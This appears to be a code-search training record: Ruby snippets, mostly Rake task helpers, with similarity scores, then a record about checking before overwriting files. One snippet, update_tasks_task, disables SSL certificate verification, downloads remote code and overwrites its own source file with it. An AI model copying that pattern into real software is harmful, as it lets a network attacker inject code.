make_wix_folder_task\n make_copy_file_tasks\n make_sourcery_wxs_file_task\n make_sourcery_wixobj_file_task\n make_product_wxs_file_task\n make_product_wixobj_file_task\n make_msi_file_task\n make_msi_task\n make_test_task\n end", "def run_task(task_name)\n puts heading(\"Running #{task_name}\")\n @results[task_name] = Rake::Task[task_name].invoke\n end", "def rake_tasks(&block); end", "def rake_tasks(&block); end", "def build_tasks\n all_output.split(\"\\n\").map do |task|\n next unless task.start_with? 'rake'\n task.split(\"#\").map{|t| t.strip.sub(/^rake /, '')}\n end.compact\n end", "def run_tasks()\n self.task_queue.each do |task|\n\n self.task_list << task\n trigger_event(:start,:task)\n\n result = self.send(task[:name],*(task[:args]))\n if result[:status] == :failed\n break\n end\n\n\n self.task_list.last[:result]=result\n trigger_event(:end,:task)\n end\n end", "def alias_task(aliases)\n aliases.each do |alias_name,task_name|\n t = Rake::Task[task_name]\n task alias_name, *t.arg_names do |_, args|\n args = t.arg_names.map { |a| args[a] }\n t.invoke(args)\n end\n end\nend", "def reassign_automatically_assigned_org_tasks(tasks, organization)\n active_org_user_count = organization.users.active.count\n\n task_ids = tasks.pluck(:id).sort\n message = \"#{reassign} #{task_ids.count} tasks with ids #{task_ids.join(', ')} to #{active_org_user_count} \" \\\n \"members of the parent tasks' organization\"\n Rails.logger.info(message)\n\n if !dry_run\n tasks.in_groups(active_org_user_count, false).each do |task_group|\n next_assignee_id = organization.next_assignee.id\n task_group.each do |task|\n task.reassign(\n {\n assigned_to_type: User.name,\n assigned_to_id: next_assignee_id,\n instructions: reassignment_instructions\n }, task.assigned_by\n )\n end\n end\n end\n end", "def simple_rake_task(task_name = 'test_task', indent: '', task_body: \"\\n\")\n \"\\n\" + indent +\n \"desc 'task named #{task_name}'\\n\" +\n indent + \"task :#{task_name} do\\n\" +\n indent + \" \" + task_body +\n indent + \"end\\n\\n\"\n\n end", "def add_task_names(task_names)\n return if task_names.empty?\n\n missing_task_names = task_names - all_tasks.map(&:name)\n\n missing_task_names.each { |task_name| add_eval_task_named(task_name) }\n\n all_tasks\n end", "def rake_task task_name\n @rake.invoke_task task_name\n end", "def testSimpleTasksReordering\n executeSimpleTest(\n [ [ 'T1', 'R1', 800, 2, [], ' =='],\n [ 'T2', 'R1', 100, 2, ['T3'], '=='],\n [ 'T3', 'R2', 900, 2, [], ' =='],\n [ 'T4', 'R3', 200, 3, ['T3'], '==='] ] )\n end", "def define_tasks\r\n define_repeat_task\r\n define_clobber_task\r\n define_build_task\r\n end", "def ruby_rake_task(task)\n Rake::Task[task].invoke\nend", "def similar_task(user, taskname)\n can_create_task = true\n user.assignments.each do |assignment_instance|\n if assignment_instance.taskname.downcase == taskname.downcase\n # binding.pry \n can_create_task = false \n end \n end\n can_create_task\n end", "def resolve_task(name)\n name = name.to_s\n @tasks.each do |task|\n return task if task.name == name\n end\n @salticid.tasks.each do |task|\n return task if task.name == name\n end\n nil\n end", "def run(task)\n Rake::Task[task].invoke\nend", "def run(task)\n Rake::Task[task].invoke\nend", "def run(task)\n Rake::Task[task].invoke\nend", "def run(task)\n Rake::Task[task].invoke\nend", "def task_files\r\n Dir.chdir(Rails.root.join('lib', 'tasks')) do |dir|\r\n @task_files = Dir[\"*.rake\"]\r\n end\r\n @task_files = @task_files.reject{|task|\r\n task !~ /\\Abg_worker_/}.map{|task|\r\n task.sub('bg_worker_', '')\r\n }\r\n end", "def describe_rake_task(task_name, filename, &block)\n require \"rake\"\n\n describe \"Rake task #{task_name}\" do\n attr_reader :task\n\n before(:all) do\n @rake = Rake::Application.new\n Rake.application = @rake\n load filename\n @task = Rake::Task[task_name]\n end\n\n after(:all) do\n Rake.application = nil\n end\n\n def invoke!\n for action in task.instance_eval { @actions }\n instance_eval(&action)\n end\n end\n\n def tmppath(*paths)\n parts = [File.dirname(__FILE__), \"tmp\"]\n parts << (@root_time ||= Time.now.to_i.to_s)\n parts += paths\n # parts << rand().to_s.split(\".\").last\n parts.collect! {|path| path.to_s}\n path = File.join(*parts)\n attempts = 10\n while File.exists?(path)\n path.succ!\n attempts -= 1\n raise \"Unable to find a good temp pathname: #{path.inspect}\" if attempts.zero?\n end\n\n File.expand_path(path)\n end\n\n def cleanup\n path = File.expand_path(File.join(File.dirname(__FILE__), \"tmp\"))\n FileUtils.rm_rf(path)\n end\n\n instance_eval(&block)\n end\nend", "def starting_tasks\n each_task.reject do |task|\n task.dependency_backward_any?\n end\n end", "def write_empty_tasks\n ARGV.shift\n ARGV.each {|a| task a.to_sym do ; end}\nend", "def run_successfully?(tasks)\n [*tasks].all? do |task|\n Rake::Task.task_defined?(task) && Rake::Task[task].invoke\n end\nend", "def run_without_aborting(*tasks)\n errors = []\n\n tasks.each do |task|\n begin\n Rake::Task[task].invoke\n rescue Exception\n errors << task\n end\n end\n\n abort \"Errors running #{errors.join(', ')}\" if errors.any?\nend", "def depends_on?(other_task)\n depends_on.include?(other_task)\n end", "def displayRakeTasks\n Rake.application.tasks.each do |iTask|\n log_info \"+-#{iTask.name}: #{iTask.comment}\"\n iTask.prerequisites.each do |iPrerequisiteTaskName|\n log_info \"| +-#{iPrerequisiteTaskName}\"\n end\n log_info '|'\n end\n end", "def generate_rake_tasks\n @rake_tasks = outputs.map do |output, inputs|\n additional_paths = []\n inputs.each do |input|\n\n create_file_task(input.fullpath).dynamic do\n additional_paths += additional_dependencies(input)\n end\n end\n additional_paths.each { |path| create_file_task(path) }\n\n create_file_task(output.fullpath, inputs.map(&:fullpath)) do\n output.create { generate_output(inputs, output) }\n end\n end\n end", "def actionable_tasks\n\t\tnext_tasks.select{ |t| !t.deferred? }\n\tend", "def multitask(args, &block)\n Rake::MultiTask.define_task(args, &block)\n end", "def tasks() []; end", "def ensure_unique_tasks_names! \n for i in 0..(@tasks_params.count-2)\n for j in (i+1)..(@tasks_params.count-1)\n raise RuntimeError, 'Duplicated tasks names' if @tasks_params[i.to_s][:name] == @tasks_params[j.to_s][:name]\n end\n end\n end", "def load_all_tasks_in_order\n load_dir = ENV[\"load_dir\"]\n tasks_and_files= [{\"ansi_code\"=>\"ansicode.csv\"},\n {\"client_profile_group\"=>\"clients.csv\"},\n {\"facilities\"=>\"facilities.csv\"},\n {\"rcc_payer\"=>\"rcc_payer.csv\"},\n {\"temp_reason_codes\"=>\"rcc_reason_codes.csv\"},\n {\"temp_reason_code_mappings\"=>\"rcc_mappings.csv\"},\n {\"temp_lockbox\"=>\"client_profile_lockbox.csv\"},\n {\"temp_payers\"=>\"ABAInfo.csv\"},\n {\"process_relationships_from_temp_tables\"=>\"\"},\n {\"change_partner_to_bac\"=>\"\"},\n {\"remove_temp_tables\" =>\"\"}]\n errors = []\n \n errors << \"Please provide a valid directory\" if (load_dir.blank? || !FileTest.exists?(load_dir))\n if errors.empty?\n tasks_and_files.each do |hash|\n csv_file = hash[hash.keys[0]]\n if !csv_file.blank?\n abs_path = load_dir + \"/\" + csv_file\n errors << \"File #{csv_file} not found in #{load_dir}\" if ! FileTest.exists?(abs_path)\n end\n end\n end\n\n if errors.empty?\n tasks_and_files.each do |hash|\n task = hash.keys[0]\n csv_file = hash[task]\n if !csv_file.blank?\n abs_path = load_dir + \"/\" + csv_file\n ENV[\"path\"] = abs_path\n puts \"processing file \" + ENV[\"path\"]\n end\n puts \"invoking task dataimport:#{task} ......\"\n Rake::Task[\"dataimport:#{task}\"].invoke \n end\n else\n errors.each do |err|\n puts err + \"\\n\"\n end\n end \nend", "def verify_org_task_unique\n true\n end", "def ignore_task?(task)\n return true if metadata[\"run_#{task}\"] == false\n\n !clade? && @@INCLADE_TASKS.include?(task) && metadata[\"run_#{task}\"] != true\n end", "def rake(*tasks)\n \"rake #{tasks.join(' ')}\"\n end", "def perform_next_task\n if next_task.complete?\n dbg (\"completed task #{next_task}\")\n @@tasks.pop\n dbg (\"now performing task #{next_task}\")\n end\n return next_task.perform\n end", "def buildwise_run_sequential_build_target(build_id, task_name) \r\n begin\r\n FileUtils.rm_rf(\"spec/reports\") if File.exist?(\"spec/reports\")\r\n Rake::Task[task_name].invoke\r\n ensure\r\n puts \"Finished: Notify build status\"\r\n sleep 2 # wait a couple of seconds to finish writing last test results xml file out\r\n puts \"[Rake] finish the build\"\r\n buildwise_finish_build(build_id)\r\n end\r\nend", "def reassign_attorney_tasks\n attorney_tasks = open_tasks.of_type(:AttorneyTask)\n\n if attorney_tasks.any?\n task_ids = attorney_tasks.pluck(:id).sort\n parent_task_ids = attorney_tasks.pluck(:parent_id).sort\n message = \"#{cancel} #{task_ids.count} AttorneyTasks with ids #{task_ids.join(', ')}, JudgeDecisionReviewTasks \" \\\n \"with ids #{parent_task_ids.join(', ')}, and #{create} #{task_ids.count} JudgeAssignTasks\"\n Rails.logger.info(message)\n\n if !dry_run\n attorney_tasks.each do |task|\n reassign_attorney_task(task)\n end\n end\n end\n end", "def connect_common_tasks\n desc \"Build the code narrative HTML\"\n ::Rake::Task.define_task(:codnar => \"codnar_weave\")\n desc \"Remove woven HTML documentation\"\n ::Rake::Task.define_task(\"clobber_codnar\") { rm_rf(@output) }\n ::Rake::Task.define_task(:clobber => \"clobber_codnar\")\n end", "def rake(task,*args)\n run 'rake', rake_task(task,*args)\n end", "def collect_tasks\n tasks = []\n $sake_op = {}\n ARGV.each do |arg|\n if arg =~ /^(\\w+)=(.*)$/\n ENV[$1] = $2\n $sake_op[$1.to_sym] = $2\n else\n tasks << arg\n end\n end\n tasks.push(\"default\") if tasks.size == 0\n tasks\n end", "def dedup\n new_tasks = []\n old_tasks = {}\n @tasks.each do |t|\n if not t.toodleid\n new_tasks << t\n elsif old_tasks.key?(t.toodleid)\n # retain only the last update\n old_tasks[t.toodleid] = [old_tasks[t.toodleid], t].max\n else\n old_tasks[t.toodleid] = t\n end\n end\n @tasks = new_tasks + old_tasks.values\n self\n end", "def uppper_depends(task_name)\n task_list = []\n @tasks.each { |t|\n if not t.dependency.nil? then\n task_list.push(t) if t.dependency.include?(task_name)\n end\n }\n task_list\n end", "def run_rake(task)\n run \"cd #{current_path} && rake #{task} RAILS_ENV=#{environment}\"\nend", "def run_rake(task)\n run \"cd #{current_path} && rake #{task} RAILS_ENV=#{environment}\"\nend", "def run_rake(task)\n run \"cd #{current_path} && rake #{task} RAILS_ENV=#{environment}\"\nend", "def testTasksReorderingWithPredecessor\n # TODO: Code the interchangeable days feature, and uncomment after\n# executeSimpleTest(\n# [ [ 'T1', 'R1', 800, 4, [], '=== ='],\n# [ 'T2', 'R2', 100, 2, ['T3'], '=='],\n# [ 'T3', 'R1', 500, 2, ['T4'], ' =='],\n# [ 'T4', 'R3', 900, 2, [], ' =='],\n# [ 'T5', 'R4', 200, 5, ['T4'], '====='] ] )\n executeSimpleTest(\n [ [ 'T1', 'R1', 800, 4, [], '== =='],\n [ 'T2', 'R2', 100, 2, ['T3'], '=='],\n [ 'T3', 'R1', 500, 2, ['T4'], ' =='],\n [ 'T4', 'R3', 900, 2, [], ' =='],\n [ 'T5', 'R4', 200, 5, ['T4'], '====='] ] )\n end", "def define_tasks\r\n define_clobber_task\r\n define_build_task\r\n end", "def task(name, *args, &block)\n task_once(name, block) do\n super\n end\n end", "def next_process_in_time(tasks)\n task = smallest_task(tasks)\n tasks.delete(task)\n task\n end", "def rake_running\n `ps | grep 'rake' | grep -v 'grep' | wc -l`.to_i > 1\nend", "def file_name\n \"#{task_name}.rake\"\n end", "def add_rakefile_and_tasks(rakefilename, task_names)\n\n # creates a new EvaluatedRakeFile entry if needed\n ev_rakefile = self.all_rakefiles[rakefilename]\n ev_rakefile.add_task_names(task_names)\n self.all_tasks.concat(ev_rakefile.all_tasks)\n\n ev_rakefile\n end", "def redmine_tasks(m, params)\n begin\n \tcertificate = redmine_check_auth(m)\n\t\tif ! certificate\n\t\t\t# ne rien faire, l'utilisateur n'est pas connecté\n\t\telse\n\t\t\tif params[:othername]\n\t\t\t\tuser_login = params[:othername]\n\t\t\telse\n\t\t\t\tuser_login = certificate[:username]\n\t\t\tend\n\t\t\tm.reply \"#{Underline}#{@redmine_l_currenttaskof} #{user_login} :#{Underline}\"\n\t\t\tif @registry.has_key? user_login\n\t\t\t\ttask_detected = false\n\t\t\t\t@registry[user_login].each do |task_logger|\n\t\t\t\t\ttask_detected = true\n\t\t\t\t\t\tif (task_logger.inprogress == \"pause\")\n\t\t\t\t\t\t\t# preparation du paramètre durée de tache\n\t\t\t\t\t\t\tgap = task_logger.alreadydone.to_i\n\t\t\t\t\t\t\thours = gap/3600.to_i\n\t\t\t\t\t\t\tmins = ( gap/60 % 60 ).to_i\n\t\t\t\t\t\t\tsecs = ( gap % 60 )\n\t\t\t\t\t\t\treal_hours = ( task_logger.alreadydone )/3600\n\t\t\t\t\t\t\tpause_message = \"[#{@redmine_l_pause}]\"\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tgap = ( Time.now - task_logger.time ).to_i + task_logger.alreadydone.to_i\n\t\t\t\t\t\t\thours = gap/3600.to_i\n\t\t\t\t\t\t\tmins = ( gap/60 % 60 ).to_i\n\t\t\t\t\t\t\tsecs = ( gap % 60 )\n\t\t\t\t\t\t\treal_hours = ( Time.now - task_logger.time )/3600\n\t\t\t\t\t\t\tpause_message = \"[#{@redmine_l_running}]\"\n\t\t\t\t\t\tend\n\t\t\t\t\t\n\t\t\t\t\tm.reply \"#{@redmine_l_task} ##{task_logger.task}#{pause_message} (#{hours}h #{mins}m #{secs}s) : [#{task_logger.projectname}] #{task_logger.taskname} => #{@redmine_rapid_url}#{@redmine_issue_show_path}/#{task_logger.task}\"\n\t\t\t\tend\n\t\t\t\tif !task_detected\n\t\t\t\t\tif @redmine_debug_mode == 1\n\t\t\t\t\t\tm.reply \"#{@redmine_l_notaskrunning}\"\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\t\n\t\t\telse\n\t\t\t\t#if @redmine_debug_mode == 1\n\t\t\t\t\tm.reply \"#{@redmine_l_notaskrunning}\"\n\t\t\t\t#end\n\t\t\tend\n\t\tend\n rescue Exception => e\n m.reply e.message\n m.reply e.backtrace.inspect\n end\n end", "def define_tasks\n # Task definitions are taken from Rake::TestTask\n # https://github.com/ruby/rake/blob/e644af3/lib/rake/testtask.rb#L98-L112\n namespace :ttnt do\n namespace name do\n define_run_task\n define_anchor_task\n end\n end\n end", "def task(name, &block)\n name = name.to_s\n\n if task = @tasks.find{|t| t.name == name}\n # Found in self\n elsif (task = @salticid.tasks.find{|t| t.name == name}) and not block_given?\n # Found in salticid\n @tasks << task\n else\n # Create new task in self\n task = Salticid::Task.new(name, :salticid => @salticid)\n @tasks << task\n end\n\n if block_given?\n # Remove the task from our list, and replace it with a copy.\n # This is to prevent local declarations from clobbering global tasks.\n i = @tasks.index(task) || @task.size\n task = task.dup\n task.block = block\n @tasks[i] = task\n end\n\n task\n end", "def task(name, &block)\n name = name.to_s\n\n if task = @tasks.find{|t| t.name == name}\n # Found in self\n elsif (task = @salticid.tasks.find{|t| t.name == name}) and not block_given?\n # Found in salticid\n @tasks << task\n else\n # Create new task in self\n task = Salticid::Task.new(name, :salticid => @salticid)\n @tasks << task\n end\n\n if block_given?\n # Remove the task from our list, and replace it with a copy.\n # This is to prevent local declarations from clobbering global tasks.\n i = @tasks.index(task) || @task.size\n task = task.dup\n task.block = block\n @tasks[i] = task\n end\n\n task\n end", "def check_tasks\n if !(@free_workers.empty? || @tasks_to_assign.empty?)\n @free_workers.each { |worker| find_task_for(worker) }\n end\n end", "def sync_tasks\n\n #TODO make this line optional\n @account_info = @authenticator.get_account\n\n #Add any tasks that needed to be added\n new_tasks = @tasks.keys.select{|task| task.brand_new?}\n @authenticator.add_tasks(new_tasks.collect {|task| task.json_parsed}) unless @new_tasks.new_tasks.empty?\n\n #Record that the tasks have already been added\n new_tasks.each {|task| task.no_longer_new}\n\n #Delete any tasks that were marked as deleted locally but not yet removed from @tasks\n deleted_tasks = @tasks.keys.select{|task| task.deleted?}\n @authenticator.delete_tasks(deleted_tasks.collect {|task| task.id}) unless deleted_tasks.empty?\n \n if lastedit_task > @last_task_sync\n #Get (recently edited) tasks\n tasks = @authenticator.get_tasks {:after => lastedit_task}\n \n locally_edited = []\n\n #TODO we may need to put this in a loop and load tasks page by page\n tasks.each do |task|\n if not @tasks[task.id]\n #If for some reason the task doesn't exist yet locally, add it\n @tasks[task.id] = task\n else\n #Compare modification times, update local copy when necessary, and resolve editing conflicts\n #Do NOT use task.last_mod, because that will just refer to the time that the get_tasks function was called!\n #Instead, we care about the time that the last edits were actually saved on the Toodledo server\n if task.modified > @tasks[task.id].last_mod\n #The server-stored task was modified more recently than the local task\n #TODO make sure all other locations are properly mutating the task, rather than creating parallel/outdated instances\n #If we simply overwrote the task instead of updating task.json_parsed, any past references to the task would point to an invalid/outdated\n @tasks[task.id].json_parsed = task.json_parsed\n @tasks[task.id].edit_saved\n else\n #The local task was modified more recently than the server-stored task\n #Realistically, the two timestamps cannot be the same, but if they are, we will assume the local copy is more accurate\n locally_edited.push(@tasks[task.id])\n end\n end\n end\n end\n\n if lastdelete_task > @last_task_sync\n #Query the deleted tasks (on the Toodledo server) and delete them here locally\n @user.get_deleted_tasks.collect{|task| task.id}.each do |id| \n #The delete boolean will be set just in case there are other references to the task, in which case it would not be garbage-collected\n @tasks[id].delete!\n @tasks[id].edit_saved #Make sure it won't be edited-saved in the future\n @tasks.delete(id)\n end\n end\n\n locally_edited = locally_edited.select{|task| not task.deleted?}\n @user.edit_tasks(locally_edited.collect{|task| task.json_parsed}) unless locally_edited.empty?\n \n #After this, the modified timestamp on the server will be the current time, which is later than the task.last_mod for any task stored locally\n \n #TODO check if there were repeating tasks that needed to be rescheduled\n \n #Remove any deleted tasks from @tasks. There may still be references elsewhere to them (depending on the application), so they may not necessarily be garbage-collected\n @tasks = @tasks.select{|task| not task.deleted?}\n\n @last_task_sync = Time.now\n end", "def incorrect_tasks_type_1_ids\n order_tasks_ids = order.tasks.with_expenses.with_resolver.pluck(:external_id)\n children_tasks_ids = order.sub_orders.includes(:tasks).flat_map do |sub_order|\n sub_order.tasks\n .select { |t| t.expenses? && t.resolver.present? }\n .map(&:external_id)\n end\n order_tasks_ids + children_tasks_ids\n end", "def task_remove(task_name)\n return unless task_present? task_name\n tasks.delete prepare_key(task_name)\n reset\n end", "def own_tasks\n uri = self.uri\n query = Ruta::Sparql.select.where(\n [:task, RDF.type, Ruta::Class.task],\n [:task, Ruta::Property.has_creator, uri]\n )\n tasks = []\n query.each_solution { |sol| tasks.push(sol.task.as(Task)) }\n tasks\n end", "def run_exit_tasks!; end", "def test_task_with_no_requisite\n @example.run :task_with_no_requisites\n #@example.task_with_no_requisites_trigger\n assert_equal([\"task_with_no_requisites\"], RESULT_CACHE)\n end", "def processing_running_task\n reset_undefined_retries!\n 'running'\n end", "def _create_task_by_name(task_name)\n @tasks.each do |t|\n return t.clone if t.name == task_name\n end\n raise \"Unknown Task!\" # couldn't find it. boo.\n end", "def failed_tasks\n @failed_tasks ||= @tasks_results.select(&:failure?)\n end", "def rakefile_test_tasks\n ''\n end", "def update_tasks_task\n require 'net/https'\n require 'uri'\n \n uri = URI.parse('https://raw.github.com/wvanbergen/github-gem/master/tasks/github-gem.rake')\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n response = http.request(Net::HTTP::Get.new(uri.path))\n\n if Net::HTTPSuccess === response\n open(__FILE__, \"w\") { |file| file.write(response.body) }\n relative_file = File.expand_path(__FILE__).sub(%r[^#{@root_dir}/], '')\n if `#{git} ls-files -m #{relative_file}`.split(\"\\n\").any?\n sh git, 'add', relative_file\n sh git, 'commit', '-m', \"Updated to latest gem release management tasks.\"\n else\n puts \"Release managament tasks already are at the latest version.\"\n end\n else\n raise \"Download failed with HTTP status #{response.code}!\"\n end\n end", "def load_tasks\n end", "def remove_desc_for_task( names )\n Array(names).each do |task_name|\n task = Rake.application.tasks.find {|t| t.name == task_name}\n next if task.nil?\n task.instance_variable_set :@comment, nil\n end\nend", "def simpleTasks _args\n \"simpleTasks _args;\" \n end", "def custom_configure_tasks_for(a=nil)\n []\n end", "def md5file(file, task_ext, task_dep)\n task :this_task do\n if File.exists?(\"#{file}.tmp\")\n old_sum = File.read(\"#{file}.tmp\").chomp\n else\n old_sum = \"\"\n end\n new_sum = `md5sum #{file}`.chomp\n if old_sum != new_sum\n Rake::Task[task_dep].invoke\n File.open(\"#{file}.tmp\", \"w\") {|f| f.write(new_sum)}\n end\n end\n task task_ext => :this_task \nend", "def force_task?(task)\n !!metadata[\"run_#{task}\"]\n end", "def get_task(task_name)\n if using_rake? and task_defined?(task_name)\n Rake::Task[task_name]\n end\n end", "def reset\n @tasks_have_failed = false\n @tasks_are_finished = false\n @tasks_are_successful = false\n end", "def ignore_task?(task)\n why_ignore(task) != :execute\n end", "def find_tasks_without_specs\n task_file_names.reject do |manifest|\n spec = Noop::Utils.convert_to_spec manifest\n spec_file_names.include? spec\n end\n end", "def task_list\n return @task_list if @task_list\n @task_list = []\n spec_file_names.each do |file_name_spec|\n next if spec_is_disabled? file_name_spec\n next if skip_globals? file_name_spec\n next unless spec_included? file_name_spec\n get_spec_runs(file_name_spec).each do |run|\n next unless run[:hiera] and run[:facts]\n next unless facts_included? run[:facts]\n next unless hiera_included? run[:hiera]\n task = Noop::Task.new file_name_spec, run[:hiera], run[:facts]\n task.parallel = true if parallel_run?\n @task_list << task\n end\n end\n @task_list\n end", "def remove_desc_for_task( names )\n Array(names).each do |task_name|\n task = Rake.application.tasks.find {|t| t.name == task_name}\n next if task.nil?\n task.instance_variable_set :@comment, nil\n end\nend", "def uniqueness\n if Task.exists?(:name => name, :stage_id => stage_id, :factor_id => factor_id) || Task.exists?(:name => name, :parent_task_id => parent_task_id)\n errors[:base] << \"An identical task already exists\"\n end\n end", "def perform_tasks\n execute_with_block do | thread_id, task |\n if task.respond_to? :perform\n puts \"worker ##{thread_id}\"\n task.perform\n else\n raise '#{task.class} does not respond to perform'\n end\n end\n end", "def display_tasks_and_comments(tasks = nil, pattern = nil, display_hidden = nil)\n tasks ||= self.tasks\n\n if pattern ||= options.show_task_pattern\n tasks = tasks.select { |t| t.name[pattern] || t.comment.to_s[pattern] }\n end\n\n width = tasks.collect { |t| t.name.length }.max\n\n tasks.each do |t|\n comment = \" # #{t.comment}\" if t.comment\n if display_hidden\n printf \"sake %-#{width}s#{comment}\\n\", t.name\n else\n printf \"sake %-#{width}s#{comment}\\n\", t.name if t.name && t.comment\n end\n end\n end", "def invoke_or_reboot_rake_task(task)\n if ENV['RAILS_GROUPS'].to_s.empty? || ENV['RAILS_ENV'].to_s.empty?\n ruby_rake_task task\n else\n Rake::Task[task].invoke\n end\n end", "def invoke_or_reboot_rake_task(task)\n if ENV['RAILS_GROUPS'].to_s.empty? || ENV['RAILS_ENV'].to_s.empty?\n ruby_rake_task task\n else\n Rake::Task[task].invoke\n end\n end", "def custom_configure_tasks_for(a=nil)\n []\n end", "def incorrect_tasks_type_2_ids\n order_tasks_ids = order.tasks.without_expenses.without_resolver.pluck(:external_id)\n children_tasks_ids = order.sub_orders.includes(:tasks).flat_map do |sub_order|\n sub_order.tasks\n .select { |t| !t.expenses? && !t.resolver.present? }\n .map(&:external_id)\n end\n order_tasks_ids + children_tasks_ids\n end", "def define_tasks!\n\n define_test_tasks! if has_tests?\n define_rspec_tasks! if has_specs?\n\n namespace(@task_namespace) do\n desc \"Updates the filelist in the gemspec file\"\n task(:manifest) { manifest_task }\n\n desc \"Builds the .gem package\"\n task(:build => :manifest) { build_task }\n\n desc \"Sets the version of the gem in the gemspec\"\n task(:set_version => [:check_version, :check_current_branch]) { version_task }\n task(:check_version => :fetch_origin) { check_version_task }\n\n task(:fetch_origin) { fetch_origin_task }\n task(:check_current_branch) { check_current_branch_task }\n task(:check_clean_status) { check_clean_status_task }\n task(:check_not_diverged => :fetch_origin) { check_not_diverged_task }\n\n checks = [:check_current_branch, :check_clean_status, :check_not_diverged, :check_version]\n checks.unshift('spec:basic') if has_specs?\n checks.unshift('test:basic') if has_tests?\n # checks.push << [:check_rubyforge] if gemspec.rubyforge_project\n\n desc \"Perform all checks that would occur before a release\"\n task(:release_checks => checks)\n\n release_tasks = [:release_checks, :set_version, :build, :github_release, :gemcutter_release]\n # release_tasks << [:rubyforge_release] if gemspec.rubyforge_project\n\n desc \"Release a new version of the gem using the VERSION environment variable\"\n task(:release => release_tasks) { release_task }\n \n namespace(:release) do\n desc \"Release the next version of the gem, by incrementing the last version segment by 1\"\n task(:next => [:next_version] + release_tasks) { release_task }\n\n desc \"Release the next version of the gem, using a patch increment (0.0.1)\"\n task(:patch => [:next_patch_version] + release_tasks) { release_task }\n\n desc \"Release the next version of the gem, using a minor increment (0.1.0)\"\n task(:minor => [:next_minor_version] + release_tasks) { release_task }\n\n desc \"Release the next version of the gem, using a major increment (1.0.0)\"\n task(:major => [:next_major_version] + release_tasks) { release_task }\n end\n\n # task(:check_rubyforge) { check_rubyforge_task }\n # task(:rubyforge_release) { rubyforge_release_task }\n task(:gemcutter_release) { gemcutter_release_task }\n task(:github_release => [:commit_modified_files, :tag_version]) { github_release_task }\n task(:tag_version) { tag_version_task }\n task(:commit_modified_files) { commit_modified_files_task }\n\n task(:next_version) { next_version_task }\n task(:next_patch_version) { next_version_task(:patch) }\n task(:next_minor_version) { next_version_task(:minor) }\n task(:next_major_version) { next_version_task(:major) }\n \n desc \"Updates the gem release tasks with the latest version on Github\"\n task(:update_tasks) { update_tasks_task }\n end\n end" ]
[ "0.668701", "0.6261065", "0.6249257", "0.6139295", "0.61092496", "0.60806847", "0.60745454", "0.6054341", "0.5837602", "0.58354", "0.5820692", "0.58128023", "0.58128023", "0.5773079", "0.5767463", "0.57456684", "0.57239646", "0.5723327", "0.5699236", "0.56813097", "0.5676584", "0.5655859", "0.5645836", "0.5645777", "0.5629538", "0.5625344", "0.5625344", "0.5625344", "0.5625344", "0.5602158", "0.5588724", "0.55882263", "0.55393827", "0.55364376", "0.54871505", "0.5477503", "0.54693466", "0.54671913", "0.5439817", "0.54335135", "0.5424724", "0.54150033", "0.538473", "0.53791976", "0.537374", "0.5371797", "0.53648806", "0.5348836", "0.5344395", "0.5333034", "0.5326811", "0.53237975", "0.5321509", "0.5315916", "0.5315794", "0.5315794", "0.5315794", "0.5307852", "0.53037584", "0.5303529", "0.529821", "0.5297766", "0.5292472", "0.528776", "0.52857447", "0.5285341", "0.5276389", "0.5276389", "0.5273735", "0.5269019", "0.5266828", "0.5263145", "0.5250358", "0.52414984", "0.52405876", "0.52392185", "0.52325946", "0.52254903", "0.52246034", "0.5222393", "0.52220315", "0.52218306", "0.5217769", "0.52141654", "0.5214013", "0.520895", "0.52032804", "0.5202418", "0.52008873", "0.52007926", "0.51983553", "0.51980764", "0.519777", "0.5191421", "0.51815844", "0.51807165", "0.51807165", "0.51763594", "0.51748407", "0.5174605" ]
0.6910386
0
If the file exists, ask if it's ok to overwrite. return true only if they said it was ok to overwrite. If the file does not exist, return true (it's ok to create it)
def ok_to_create?(filepath) File.exist?(filepath) ? prompt_to_overwrite?(filepath) : true end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def overwrite?(path)\n if File.exist?(path)\n return yes? \"A file already exists at '#{ path }'. Do you want to overwrite? [y/n]\"\n end\n true\n end", "def write_prep outfile\n return true unless File.exists? outfile\n\n # OK, file exists. See if we can clobber it\n if clobber?\n message { sprintf \"Overwriting existing file '%s'\", outfile }\n return true\n end\n\n message { sprintf \"Not overwriting existing file '%s'\", outfile }\n false\n end", "def user_allows_overwrite?(file, opts = {})\n if File.exist?(File.expand_path(file)) && !opts[:force]\n print I18n.t(:overwrite) % file\n answer = HighLine::SystemExtensions.get_character.chr\n puts answer\n return answer =~ /^y/i\n else\n return true\n end\n end", "def verify_overwriting\n overwrite = ask_nicely\n\n while overwrite.empty?\n overwrite = ask_nicely\n end\n\n overwrite == 'y' ? FileUtils.rm_rf(Frank.export.path) : exit\n end", "def file_exists?(file)\n false\n end", "def is_new?\n !File.exists? @filename\n end", "def file_exists?\n !!file_path\n end", "def file_exists?\n !!file_path\n end", "def ensure_file!(file)\n return if File.exists?(file)\n if VIM.evaluate(%{confirm(\"Create #{file}?\", \"&Yes\\n&No\", 1)}) == 1\n file_to_create = VIM.evaluate(%{input(\"File to create: \", \"#{file}\")})\n Pathname.new(file_to_create).dirname.mkpath\n File.open(file_to_create, \"w\") {}\n else\n raise RelatedError, \"File #{file} does not exist\"\n end\n end", "def destination_file_exist?\n File.exist?(final_destination_path)\n end", "def is_up?\n\t\tFile.exists?(@file)\n\tend", "def touch_if_not_exist(file)\n FileUtils.touch(file) unless File.exist?(file)\n file\n end", "def force_file_collision?( dst )\n dst = dst.sub(%r/#{site}\\/?/, '')\n print \"overwrite #{dst}? [(Y)es (n)o (q)uit] \"\n case gets\n when %r/q/i then abort 'user asked to quit'\n when %r/n/i then :skip\n when %r/y/i then :force\n when %r/\\s*/ then :force\n else force_file_collision?(dst) end\n rescue\n retry\n end", "def overwrite(filename)\n res = -1\n File.open(filename, 'w+') do | file | \n p file \n res = write_to_file(file) \n end \n return res\n end", "def exist; File.exist?(@fname); end", "def safeExists?(f)\r\n ret=false\r\n File.open(f,\"rb\") { ret=true } rescue nil\r\n return ret\r\nend", "def check_new\n if File.exist?(@new_file_path)\n #TODO: error properly\n abort\n end\n end", "def overwrite?\n @overwrite || (force && !branch_merge)\n end", "def cry_exist?(filename)\n return File.exist?(filename)\n end", "def ensure_exists(file)\n File.exist?(file) ? file : nil\n end", "def file_exists?\r\n File.file?(full_path)\r\n end", "def exists?\n persistent? && (filename && filename.exist?)\n end", "def install_file(source, destination)\n 